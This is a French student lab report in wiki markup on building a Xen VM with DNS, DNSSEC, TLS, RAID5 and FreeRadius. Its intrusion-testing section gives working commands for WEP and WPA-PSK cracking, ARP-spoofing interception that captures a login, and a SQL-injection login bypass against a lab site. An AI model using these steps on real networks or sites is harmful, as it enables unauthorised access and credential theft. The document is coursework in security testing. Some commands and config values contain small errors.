Par la suite, je peux décommenter la ligne et exécuter :&lt;br /&gt;
  umount /mnt    &lt;br /&gt;
  mount -a&lt;br /&gt;
Je vérifie que les disques sont bien montés via la commande db &lt;br /&gt;
  Filesystem     1K-blocks     Used   Available   Use%   Mounted on&lt;br /&gt;
  udev              483904        0      483904     0%   /dev&lt;br /&gt;
  tmpfs             100712      120      100592     1%   /run&lt;br /&gt;
  /dev/xvda2       4062912   791352     3045464    21%   /&lt;br /&gt;
  tmpfs               5120        0        5120     0%   /run/lock&lt;br /&gt;
  tmpfs             306280        0      306280     0%   /dev/shm&lt;br /&gt;
  '''/dev/xvdb1      10255636    36872     9678092     1%   /home'''&lt;br /&gt;
  '''/dev/xvdb2      10255636   315536     9399428     4%   /var'''&lt;br /&gt;
&lt;br /&gt;
On peut vérifier que la VM est prête&lt;br /&gt;
  xl list&lt;br /&gt;
    Name          ID    Mem   VCPUs    State	Time(s)&lt;br /&gt;
    Domain-0      0    4046     4      r-----    6978.3&lt;br /&gt;
    boeing        1     256     1      -b----     185.5&lt;br /&gt;
    NightHawk     3    1024     1      -b----     826.8&lt;br /&gt;
    '''hawker        4    1024     1      -b----     776.9'''&lt;br /&gt;
    blackbird     5     256     1      -b----     640.4&lt;br /&gt;
    Falcon        6     256     1      -b----     691.7&lt;br /&gt;
    rafale        8     256     1      -b----     606.0&lt;br /&gt;
    mirage        12   1024     1      -b----     668.6&lt;br /&gt;
    alpha-jet     13    256     1      -b----     591.4&lt;br /&gt;
    concorde      19   1024     1      -b----     148.5&lt;br /&gt;
    oronge        20    256     1      -b----     536.2&lt;br /&gt;
On peut voir que l’état du domaine est r, cela stipule qu’il fonctionne. &lt;br /&gt;
Les VM ont un état -b, ce qui valide le fait qu’elles fonctionnent toutes. Au delà des IMA2A5, on voit aussi une des IMA5sc.&lt;br /&gt;
&lt;br /&gt;
== Services Internet ==&lt;br /&gt;
&lt;br /&gt;
=== Configuration du réseau ===&lt;br /&gt;
&lt;br /&gt;
Dès que ma machine virtuelle est prête, je passe en root dessus. Pour permettre l'accès à internet, je configure le réseau /etc/networks/interfaces&lt;br /&gt;
   auto eth0&lt;br /&gt;
   iface eth0 inet static&lt;br /&gt;
     address 193.48.57.171 &lt;br /&gt;
     netmask 255.255.255.240&lt;br /&gt;
     gateway 193.48.57.163&lt;br /&gt;
&lt;br /&gt;
Je configure alors les interfaces réseau grâce aux définitions du fichier au dessus&lt;br /&gt;
   ifdown eth0&lt;br /&gt;
   ifup eth0&lt;br /&gt;
&lt;br /&gt;
Je vérifie que le processus s'est bien déroulé&lt;br /&gt;
   ip r&lt;br /&gt;
     default via 193.48.57.163 dev eth0 onlink &lt;br /&gt;
     193.48.57.160/28 dev eth0 proto kernel scope link src 193.48.57.171 &lt;br /&gt;
  ping 193.48.57.162 (Adresse IP 3560E)&lt;br /&gt;
&lt;br /&gt;
=== Serveur SSH ===&lt;br /&gt;
Je fais en sorte que ma MV soit accessible à distance, je configure un serveur ssh. Je modifie alors le fichier de configuration /etc/ssh/ssh_config en modifiant cette ligne :&lt;br /&gt;
  vi /etc/ssh/sshd_config&lt;br /&gt;
     PermitRootLogin yes // Permet l'accès direct en root&lt;br /&gt;
  service ssh restart&lt;br /&gt;
Je n'ai alors plus besoin de passer par la commande xl console pour accéder à ma VM, j'utilise directement le ssh.&lt;br /&gt;
  ssh root@193.48.57.171&lt;br /&gt;
&lt;br /&gt;
=== Serveur DNS ===&lt;br /&gt;
&lt;br /&gt;
Le DNS (Domain Name System) permet d'établir la correspondance entre le nom de domaine d'un site et l'adresse IP où il est hébergé sur le réseau internet. Pour accéder à mon site, je n’aurais plus besoin d’indiquer mon adresse IP mais le nom du site choisi.&lt;br /&gt;
&lt;br /&gt;
Il faut que je configure mon domaine sur gandi.net et en étant root sur ma machine virtuelle hawker.&lt;br /&gt;
&lt;br /&gt;
Je commence donc par acheter un nom de domaine sur le site gandi.net : lulya.space. Je passe par « glue records » utilisé pour associer un hostname (nom de serveur ou DNS) à une adresse IP au registre. &lt;br /&gt;
    ns.lulya.space&lt;br /&gt;
    193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Les serveurs de noms permettent d'accéder à un réseau ou du contenu sur internet depuis un nom de domaine.&lt;br /&gt;
    ns.lulya.space      1&lt;br /&gt;
    ns6.gandi.net       2&lt;br /&gt;
&lt;br /&gt;
Pour gérer mon serveur DNS, j’utilise la commande bind9 et passe par une configuration en ajoutant et modifiant plusieurs fichiers dans etc/bind.&lt;br /&gt;
Le fichier named.conf.options qui gère les options de configuration du DNS : &lt;br /&gt;
   options {&lt;br /&gt;
        directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
        dnssec-validation auto;&lt;br /&gt;
        listen-on-v6 { any; };&lt;br /&gt;
        allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
   };&lt;br /&gt;
   acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
        217.70.177.40/32; //Adresse IP de dns6.gandi.net&lt;br /&gt;
   };&lt;br /&gt;
&lt;br /&gt;
Puis le fichier named.conf.local pour déclarer les zones associées au domaine:&lt;br /&gt;
   zone &amp;quot;lulya.space&amp;quot; {&lt;br /&gt;
      type master;&lt;br /&gt;
      file &amp;quot;/etc/bind/db.lulya.space&amp;quot;;&lt;br /&gt;
    };&lt;br /&gt;
&lt;br /&gt;
Enfin, le fichier de configuration /etc/bind/db.lulya.space :&lt;br /&gt;
   $TTL 3600&lt;br /&gt;
   @ IN SOA ns.lulya.space. postmaster.lulya.space. (&lt;br /&gt;
         1               ; Version&lt;br /&gt;
         1800             ; Refresh (30m)&lt;br /&gt;
         600             ; Retry   (10m)&lt;br /&gt;
         3600             ; Expire (1h)&lt;br /&gt;
         3600 )           ; Minimum TTL (1h)&lt;br /&gt;
   @ IN NS ns.lulya.space.&lt;br /&gt;
   @ IN NS ns6.gandi.net.&lt;br /&gt;
   ns      IN A       192.48.57.171&lt;br /&gt;
&lt;br /&gt;
J’attends quelques minutes puis relance bind9. Mon site http://www.lulya.space est accessible, je peux alors le visualiser en tapant l’adresse sur internet.&lt;br /&gt;
&lt;br /&gt;
Lorsque le DNS est fini d’être configuré, je peux le tester en lançant ping -6 google.fr, je peux voir que cela fonctionne, je considère mon DNS bien configuré.&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de site web par certificat ===&lt;br /&gt;
&lt;br /&gt;
Je dois passer par une méthode de vérification sur le serveur Web cible. Il existe, je crois, 3 méthodes, j'ai choisi par mail.&lt;br /&gt;
&lt;br /&gt;
Je modifie mon fichier db.lulya.space&lt;br /&gt;
  Version : 2&lt;br /&gt;
  IN MX 100 ns&lt;br /&gt;
  www  IN A  193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Je relance le service bind9 et installe le serveur de messagerie PostFix. En lançant la commande mailx, je peux alors vérifier que j'ai bien reçu un mail et l'achat du certificat se finalise. &lt;br /&gt;
&lt;br /&gt;
Gandi fournit une clé hawker.pem et un certificat hawker.crt, je génère une clé : lulya.csr en utilisant l'utilitaire OpenSSL dans le dossier /etc/apache2/certificat&lt;br /&gt;
  openssl req -nodes -newkey rsa:2048 -sha256 -keyout lulya.key -out lulya.csr&lt;br /&gt;
&lt;br /&gt;
J'achète un certificat sur Gandi en passant par la rubrique Cerificat SSL. Je partage ma clé.csr avec Gandi, il étudie la validité de mon domaine lulya.space, puis choisi ou non de le certifier. &lt;br /&gt;
&lt;br /&gt;
En recontrant un problème, j'ai utilisé une commande servant d'outil de dépannage&lt;br /&gt;
  apt install strace&lt;br /&gt;
  strace -f -o open newaliases&lt;br /&gt;
  strace -f  newaliases&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de serveur DNS par DNSSEC ===&lt;br /&gt;
&lt;br /&gt;
Au delà de mon site sécurisé, je veux avoir toute la chaine de transmission, ce qui évitera la fraude. Je sécurise mon serveur DNS en signant la zone correspondant à mon nom de domaine.&lt;br /&gt;
Je débute par l'ajout de l'option dnssec-enable yes dans named.conf.options.&lt;br /&gt;
&lt;br /&gt;
Ensuite, je crée un répertoire lulya.space.dnssec pour y générer des paires de cléfs.&lt;br /&gt;
La clé asymétrique de signature de clefs de zone&lt;br /&gt;
  dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE lulya.space&lt;br /&gt;
La clé asymétrique de zone pour les enregistrements&lt;br /&gt;
  dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE lulya.space&lt;br /&gt;
&lt;br /&gt;
Je renomme les deux paires de clés obtenues en utilisant le nom de la zone comme préfixe et en suffixe : &lt;br /&gt;
&lt;br /&gt;
- la destination de la clef : ksk pour la clef KSK et zks pour la clef ZSK &lt;br /&gt;
&lt;br /&gt;
- puis par le type de clef : .key pour la clef publique ou .private pour la clef privée&lt;br /&gt;
  mv Klulya.space.+005+11461.key              lulya.space-ksk.key&lt;br /&gt;
  mv Klulya.space.+005+11461.private      lulya.space-ksk.private&lt;br /&gt;
  mv Klulya.space.+005+27882.key              lulya.space-zsk.key&lt;br /&gt;
  mv Klulya.space.+005+27882.private      lulya.space-zsk.private&lt;br /&gt;
Pour finir, je les place dans un dossier crée /etc/bind/lulya.space.dnssec&lt;br /&gt;
&lt;br /&gt;
Ensuite, j'inclue les clefs publiques dans mon fichier db.lulya.space&lt;br /&gt;
  $include /etc/bind/lulya.space.dnssec/lulya.space-ksk.key&lt;br /&gt;
  $include /etc/bind/lulya.space.dnssec/lulya.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
Je signe les enregistrements&lt;br /&gt;
  dnssec-signzone -o lulya.space -k lulya.space-ksk  ../db.lulya.space lulya.space-zsk&lt;br /&gt;
&lt;br /&gt;
Je modifie le fichier named.conf.local pour utiliser db.lulya.space.signed&lt;br /&gt;
  zone &amp;quot;lulya.space&amp;quot; {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/db.lulya.space.signed&amp;quot;;&lt;br /&gt;
  };&lt;br /&gt;
&lt;br /&gt;
Après avoir finalisé tous les paramètres de mon site www.lulya.space, je vérifie sa configuration sur le site dnsvize.net&lt;br /&gt;
On peut voir que tout est bien en place de mon côté. Par contre, il existe un défaut du côté du .space détenu par mon nom de domaine.&lt;br /&gt;
&lt;br /&gt;
      [[Fichier:DNS Léna.png|800px|thumb|left|Interface eth0]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tests d'intrusion ==&lt;br /&gt;
&lt;br /&gt;
=== Cassage de clef WEP d’un point d’accès WiFi ===&lt;br /&gt;
&lt;br /&gt;
On branche d’abord une clef wifi et je commence à installer le paquetage aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
Je dois trouver le point d’accès : canal et nom des réseaux.&lt;br /&gt;
&lt;br /&gt;
Via airmon-ng, un script permettant d’activer ou de désactiver le mode moniteur d’une carte réseau. &lt;br /&gt;
&lt;br /&gt;
Dans notre cas, la carte Wi-fi se place en observateur du réseau.&lt;br /&gt;
&lt;br /&gt;
Je liste les interfaces disponibles :&lt;br /&gt;
  root@zabeth09:~# airmon-ng&lt;br /&gt;
    PHY	  Interface	  Driver	Chipset&lt;br /&gt;
    phy0  wlx40a5efd2140c rt2800usb	Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
Puis, je passe la carte Wifi wlx40a5efd2140c en mode moniteur, espion du réseau sans fil.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth09:~# airmon-ng start wlx40a5efd2140c&lt;br /&gt;
  Interface wlx40a5efd2140cmon is too long for linux so it will be renamed to the old style (wlan#) name.&lt;br /&gt;
        (mac80211 monitor mode vif enabled on [phy0]wlan0mon&lt;br /&gt;
        (mac80211 station mode vif disabled for [phy0]wlx40a5efd2140c)&lt;br /&gt;
&lt;br /&gt;
Le nom de l'interface a été modifié, considéré trop long et wlan0mon a été choisi.&lt;br /&gt;
&lt;br /&gt;
En relançant airmon-ng, on peut voir que le nom de l’interface a bien été changé&lt;br /&gt;
  root@zabeth09:~# airmon-ng&lt;br /&gt;
    PHY	  Interface	Driver		Chipset&lt;br /&gt;
    phy0    wlan0mon	rt2800usb	Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
Je scanne le réseau Wifi, j’obtiens toutes les trames Wifi sur tous les canaux &lt;br /&gt;
  root@zabeth09:~# airmon-ng –encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Beaucoup d'informations s'affichent et je visualise cracotte07 dans la liste pour ses informations.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth09:~# airodump-ng --channel 9 --bssid 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
Tous les cracotte se trouvent sur channel 9 et le SSID de cracotte07 est 04:DA:D2:9C:50:56&lt;br /&gt;
&lt;br /&gt;
Je récupère toutes les données qui transitent sur ce channel en me concentrant uniquement sur les paquets échangés avec cracotte07.&lt;br /&gt;
  airodump-ng -w lcrack -c 9 --bssid 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après avoir suffisamment de trames volées, je lance un autre terminal pour décrypter la clé WEP&lt;br /&gt;
  root@zabeth09:~# aircrack-ng lcrack-01.cap&lt;br /&gt;
  Opening lcrack-01.capse wait…&lt;br /&gt;
&lt;br /&gt;
Il faut attendre plusieurs minutes et on obtient la clé, on peut voir qu’il en a testé 833 avant.&lt;br /&gt;
&lt;br /&gt;
                              Aircrack-ng 1.5.2 &lt;br /&gt;
                 [00:00:00] Tested 833 keys (got 73079 IVs)&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 17   F1(93696) BD(84480) E7(84224) 6F(83456) 12(82176) &lt;br /&gt;
    1    0/  1   91(103680) 34(83968) 54(83456) B3(83456) B9(82432) &lt;br /&gt;
    2    2/  2   60(83200) 3A(82688) 7E(82176) 12(81920) 0E(81664) &lt;br /&gt;
    3   15/  3   B1(79872) 06(79616) 11(79616) 5B(79360) B2(79104) &lt;br /&gt;
    4    0/  1   74(103168) 8D(85248) 03(82176) 7A(82176) 21(81664) &lt;br /&gt;
             KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:09:99:99:99 ] &lt;br /&gt;
    Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
=== Cassage de mot de passe WPA-PSK par force brute === &lt;br /&gt;
En utilisant la même méthode, on peut craquer une autre clef WPA.&lt;br /&gt;
  root@zabeth09:~# airodump-ng -w lkrack -c 4 --bssid 00:14:1B:60:8C:26 wlan0mon&lt;br /&gt;
    -rw-r--r-- 1 root root  88K Nov  4 17:11 lkrack-03.cap&lt;br /&gt;
&lt;br /&gt;
Le craquage doit se faire avec l’aide d’un dictionnaire. On suppose que la clef WPA est un nombre sur 8 chiffres, je vais donc créer un dictionnaire de ce format via un code en langage c.&lt;br /&gt;
&lt;br /&gt;
  int main(void){&lt;br /&gt;
        int x;&lt;br /&gt;
        for(x=0; x=99999999; x++){&lt;br /&gt;
            printf(&amp;quot;%08d\n&amp;quot;,x);&lt;br /&gt;
        }&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Je compile main.c, ça consiste en une série d'étapes de transformation du code source en du code machine exécutable. La série de nombres doit se retrouver alors dans mon fichier cible dico. &lt;br /&gt;
  root@zabeth09:~# gcc -Wall -o dico main.c&lt;br /&gt;
&lt;br /&gt;
Je vérifie que cette commande s'est bien déroulée, en vérifiant le début et la fin du fichier dico.&lt;br /&gt;
  root@zabeth09:~# ./dico | more&lt;br /&gt;
    00000000&lt;br /&gt;
    00000001&lt;br /&gt;
    00000002&lt;br /&gt;
    00000003&lt;br /&gt;
    00000004&lt;br /&gt;
  root@zabeth09:~# ./dico | tail&lt;br /&gt;
    99999995&lt;br /&gt;
    99999996&lt;br /&gt;
    99999997&lt;br /&gt;
    99999998&lt;br /&gt;
    99999999&lt;br /&gt;
&lt;br /&gt;
Je finis par les transférer dans un fichier .txt&lt;br /&gt;
  root@zabeth09:~# ./dico &amp;gt; dico.txt&lt;br /&gt;
&lt;br /&gt;
Je choisis de lancer le traitement sur 2 pc plus puissant, normalement 5 fois plus, zabeth22 et zabeth26, que mon pc zabeth09. &lt;br /&gt;
Je commence à exécuter le traitement sur le fichier que je viens de créer dico.txt comportant tous les nombres de 0 à 9999 9999.&lt;br /&gt;
  root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/&lt;br /&gt;
  root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/lkrack-03.cap  &amp;gt; /tmp/result&lt;br /&gt;
&lt;br /&gt;
En remarquant le temps que cela va prendre, je décide de couper ce fichier en 2 et de lancer un autre traitement mais seulement sur les nombres à partir de 4999 9999. L'exécution est censée prendre 2 fois moins de temps que celle sur zabeth22.&lt;br /&gt;
  root@zabeth09:~# split -n 2 dico.txt&lt;br /&gt;
J’obtiens alors 2 fichiers xaa et xab, comportant les 2 moitiés de dico&lt;br /&gt;
  root@zabeth09:~# ls -lhrt &lt;br /&gt;
  -rw-r--r-- 1 root root  101 Nov  4 17:09 main.c&lt;br /&gt;
  -rwxr-xr-x 1 root root  17K Nov  4 17:09 dico&lt;br /&gt;
  -rw-r--r-- 1 root root 430M Nov  4 17:15 xaa&lt;br /&gt;
  -rw-r--r-- 1 root root 430M Nov  4 17:15 xab&lt;br /&gt;
En tapant la commande tail, je vérifie que celui que je veux est bien xab&lt;br /&gt;
&lt;br /&gt;
Puis je passe sur zabeth26 et je passe au même procédé que sur zabeth22&lt;br /&gt;
  root@zabeth26:~# aircrack-ng -w /tmp/xab /tmp/lkrack-03.cap  &amp;gt; /tmp/result&lt;br /&gt;
&lt;br /&gt;
Pour finir, je fais en sorte de voir en direct les deux calculs de correction de clé (défilement des nombres)&lt;br /&gt;
  root@zabeth22:~# cat /tmp/result &lt;br /&gt;
    Aircrack-ng 1.5.2 &lt;br /&gt;
      [00:09:13] 10260165/102795810 keys tested (3427.05 k/s) &lt;br /&gt;
      Time left: 7 hours, 30 minutes, 1 second      9.98%&lt;br /&gt;
                           KEY FOUND! [ 10255555 ]&lt;br /&gt;
&lt;br /&gt;
La clé se trouvait dans les 1er 10 % de dico. &lt;br /&gt;
On peut lire le temps qu’il lui restait pour tout analyser, ça confirme que c’était une bonne idée de lancer le second traitement.&lt;br /&gt;
Il est logique que celui-ci nous donne aucune clé en réponse.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth26:~# cat /tmp/result &lt;br /&gt;
   [00:46:05] 50000000/51397904 keys tested (3498.19 k/s) &lt;br /&gt;
      Time left: 0 seconds              97.28%&lt;br /&gt;
                          KEY NOT FOUND&lt;br /&gt;
Anecdote, le traitement est considéré terminé au vu du temps qu'il ne reste pas, mais il est tout de même écrit 97.28% d'analyse effectuée. Il existe souvent des petites erreurs de suivis des ordinateurs, mais non critiques.&lt;br /&gt;
&lt;br /&gt;
=== Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP ===&lt;br /&gt;
&lt;br /&gt;
J'ai besoin du paquetage dsniff qui contient plusieurs outils pour écouter ou créer du trafic réseau :&lt;br /&gt;
&lt;br /&gt;
- arpspoof : envoie des réponses ARP non requises et potentiellement falsifiées&lt;br /&gt;
&lt;br /&gt;
- dnsspoof : crée des réponses à des requêtes d'adresse ou de pointeur DNS arbitraires sur le réseau local&lt;br /&gt;
&lt;br /&gt;
- dsniff : écoute de mots de passe pour différents protocoles&lt;br /&gt;
&lt;br /&gt;
Je vérifie d’abord que dorade est bien configuré au niveau du réseau.&lt;br /&gt;
  root@dorade:/home/pifou# cat /etc/network/interfaces&lt;br /&gt;
    # This is an autoconfigured IPv6 interface&lt;br /&gt;
    iface eth0 inet static&lt;br /&gt;
        address 172.26.145.101&lt;br /&gt;
        netmask 255.255.255.0&lt;br /&gt;
        gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Je récupère son interface ethernet, la commande liste toutes les interfaces avec les informations nécessaires&lt;br /&gt;
  root@dorade:/home/pifou# ip a&lt;br /&gt;
    1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1&lt;br /&gt;
    2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
&lt;br /&gt;
Une commande permet de voir la table de routage.&lt;br /&gt;
  root@dorade:/home/pifou# ip r&lt;br /&gt;
    default via 172.26.145.254 dev eth0 onlink &lt;br /&gt;
    169.254.0.0/16 dev eth0 scope link metric 1000 &lt;br /&gt;
    172.26.145.0/24 dev eth0 proto kernel scope link src 172.26.145.101 &lt;br /&gt;
&lt;br /&gt;
Je vérifie qu’il est bien relié au réseau en pingant zabeth09.&lt;br /&gt;
  root@dorade:/home/pifou# ping zabeth09&lt;br /&gt;
    PING zabeth09(2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9)) 56 data bytes&lt;br /&gt;
    64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=1 ttl=64 time=0.914 ms&lt;br /&gt;
    64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=2 ttl=64 time=0.813 ms&lt;br /&gt;
    --- zabeth09 ping statistics ---&lt;br /&gt;
    2 packets transmitted, 2 received, 0% packet loss, time 1001ms&lt;br /&gt;
    rtt min/avg/max/mdev = 0.813/0.863/0.914/0.058 ms&lt;br /&gt;
&lt;br /&gt;
En vérifiant toutes ces informations, je valide le fait qu’il est bien configuré au réseau et peut communiquer avec tous les équipements dont zabeth09.&lt;br /&gt;
&lt;br /&gt;
Je transforme dorade en routeur, ce mode est géré par la variable noyau /proc/sys/net/ipv4/ip_forward.&lt;br /&gt;
&lt;br /&gt;
- La commande retourne la valeur 0 : l'IP Forwarding n'est pas activé.&lt;br /&gt;
&lt;br /&gt;
- La commande retourne la valeur 1 : l'IP Forwarding est activé.&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward      0 &lt;br /&gt;
Dorade n’est pas en mode routeur, je passe alors le noyau à 1&lt;br /&gt;
  root@dorade:/home/pifou# echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward &lt;br /&gt;
&lt;br /&gt;
J'utilise la commande arpsppof, en prenant les informations collectées au début.&lt;br /&gt;
Dorade via eth0, son interface ethernet, envoie des réponses ARP non requises à zabeth09 en passant par le gateway, qui examine la légitimité de sa demande qui en réalité ne l'est pas.&lt;br /&gt;
  root@dorade:/home/pifou# arpspoof -i eth0 -t zabeth09 172.26.145.254&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
&lt;br /&gt;
Lors de cette étape toujours en cours, je lance un second terminal.&lt;br /&gt;
Je vérifie que dorade est bien routeur et installe wireshark, il permet d'analyser les paquets, le réseau et les protocoles.&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward      1&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/conf/all/rp_filter      0&lt;br /&gt;
  root@dorade:/home/pifou# wireshark&lt;br /&gt;
      [[Fichier:Mdp zabeth09.png|800px|thumb|left|Interface eth0]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
On voit tous les protocoles de transfert dont celui qui m'a permis de récupérer des informations confidentielles, ici le nom d'utilisateur : pifou et le mot de passe : pasglop.&lt;br /&gt;
On peut aussi savoir que je l'ai récupéré par un site de Polytech : http://applications.polytech-lille.fr&lt;br /&gt;
&lt;br /&gt;
=== Intrusion sur un serveur d’application Web ===&lt;br /&gt;
&lt;br /&gt;
Je veux m'introduire sur un site de Polytech honey.plil.info.&lt;br /&gt;
Je commence par trouver une requête SQL qui vérifiera la validité de la connexion pour la page d'identification de ce site.&lt;br /&gt;
  SELECT id FROM users WHERE id='$id' AND pass='$pass';&lt;br /&gt;
Puis je dois trouver ce que doit contenir $pass pour que cette requête récupère en fait toutes les lignes de la table utilisateurs.&lt;br /&gt;
Le true n'existe pas en SQL, je vais alors en simuler un : ' OR ''='&lt;br /&gt;
&lt;br /&gt;
Pour accéder au site, qui me demande un identifiant et un mot de passe, je procède de cette façon : Nom d'utilisateur : N'importe et mot de passe : ' OR ''='&lt;br /&gt;
&lt;br /&gt;
J'accède au site qui m'affiche la liste des utilisateurs et leur mot de passe&lt;br /&gt;
[[Fichier:Honey_Léna.png|380px|thumb|left|Listes des utilisateurs]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Réalisation ==&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de données ===  &lt;br /&gt;
&lt;br /&gt;
Pour sécuriser mes données, je passe par une redondance matérielle comme le fait déjà Polytech. On évite de tout perdre s'il y a un problème.&lt;br /&gt;
&lt;br /&gt;
Je crée un RAID5 logiciel sur ma VM. Il permet d'écrire les données à la suite sur les disques durs qui sont stockées. Si on perd un disque, les données pourront être reconstituées par les autres toujours fonctionnel.&lt;br /&gt;
&lt;br /&gt;
Sur Capbreton, je créé un disque niveau 5, un seul système de fichier composé de 3 partitions. &lt;br /&gt;
&lt;br /&gt;
Je commence par créer les 3 partitions LVM de 1Go&lt;br /&gt;
  lvcreate -l1G -n hawker-raid1 storage&lt;br /&gt;
  lvcreate -l1G -n hawker-raid storage&lt;br /&gt;
  lvcreate -l1G -n hawker-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Je visualise les disques créés via la commande &lt;br /&gt;
  vgdisplay&lt;br /&gt;
Il existe 3 types de volumes différents : storage, virtual et system.&lt;br /&gt;
&lt;br /&gt;
Je les associe à ma VM en l'éteignant et modifiant le fichier de configuration hawker.cfg en ajoutant :&lt;br /&gt;
  disk= [ ...     &lt;br /&gt;
          'phy:/dev/virtual/hawker-raid1,xvdc1,w',&lt;br /&gt;
          'phy:/dev/virtual/hawker-raid2,xvdc2,w',&lt;br /&gt;
          'phy:/dev/virtual/hawker-raid3,xvdc3,w',&lt;br /&gt;
        ]&lt;br /&gt;
&lt;br /&gt;
Puis je le rallume ma VM et via la commande lsblk, je vois mes 3 disques ajoutés.&lt;br /&gt;
&lt;br /&gt;
Je met en place le disque niveau 5 (RAID5) avec les 3 partitions&lt;br /&gt;
  mdadm --create /dev/md0 --level=5   --raid-devices 3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3&lt;br /&gt;
Je reprends le protocole que j'ai déjà effectué pour les partitions xvdb en utilisant mkfs, mount et cat. Les partitions sont alors actives.&lt;br /&gt;
  mkfs /dev/md0&lt;br /&gt;
  mount /dev/md0 /mnt&lt;br /&gt;
  cat /proc/mdstat&lt;br /&gt;
&lt;br /&gt;
Comme j'ai déjà fait pour les disques xvdb, je dois imposer le montage de RAID5 à chaque démarrage&lt;br /&gt;
   /dev/md0  /raid5  ext2  defaults  0  2 &lt;br /&gt;
&lt;br /&gt;
Si je stocke des données, en exemple le dossier bind, je les retrouve dans le répertoire raid5. Je vérifie que le système fonctionne et que mes données sont sécurisées. &lt;br /&gt;
&lt;br /&gt;
1er essai : Je commence par commenter la ligne du disque 2 de mon fichier de configuration. Les partitions sont considérées inactives, je repasse par le protocole précédent pour les réactiver et remonter mon disque. Malgré cet incident, on retrouve toutes les données présentes au même endroit.&lt;br /&gt;
&lt;br /&gt;
2ème essai : Je simule la perte du disque 2&lt;br /&gt;
  cp -a /usr/bin /mnt                               //Copie de données&lt;br /&gt;
  dd if=/dev/zero of=toto bs=1024k count=100        //Copier partie ou tout d'un disque &lt;br /&gt;
&lt;br /&gt;
  mdadm --set-faulty /dev/md0 /dev/xvdc2           //Perte du fichier disque 2 &lt;br /&gt;
  cat /proc/mdstat                                 //On voit qu'on a plus de partitions&lt;br /&gt;
  ls -R /mnt                                       //Vérifier qu'on a gardé les fichiers&lt;br /&gt;
  umount /mnt                                     //Démonter le système de fichier&lt;br /&gt;
&lt;br /&gt;
  mdadm --remove /dev/md0 /dev/xvdc2             //Je replace la partitions 2&lt;br /&gt;
  mdadm --add /dev/md0 /dev/xvdc2&lt;br /&gt;
  cat /proc/mdstat                               //On voit qu'il met quelques temps à le récupérer&lt;br /&gt;
&lt;br /&gt;
Encore utilisé à Polytech, on voit un disque gardé au cas où ceux en marche expire. Il gère les fichiers du disque qui va expiré et les gère. Quand on remplace, il replace les fichiers dans celui qui fonctionne.&lt;br /&gt;
&lt;br /&gt;
Je considère la sécurisation de mes données de VM atteinte. &lt;br /&gt;
&lt;br /&gt;
=== Sécurisation WiFi par WPA2-EAP ===&lt;br /&gt;
&lt;br /&gt;
==== Configuration serveur FreeRadius ====&lt;br /&gt;
&lt;br /&gt;
L'objectif est le contrôle par WPA2-EAP de l'accès à la borne WIFI. L'identification sera fera grâce à un serveur FreeRadius, qui permet de centraliser tous les utilisateurs, pour la sécurisation filaire.&lt;br /&gt;
&lt;br /&gt;
Je dois procéder à la configurarion du serveur FreeRadius sur ma machine virtuelle.&lt;br /&gt;
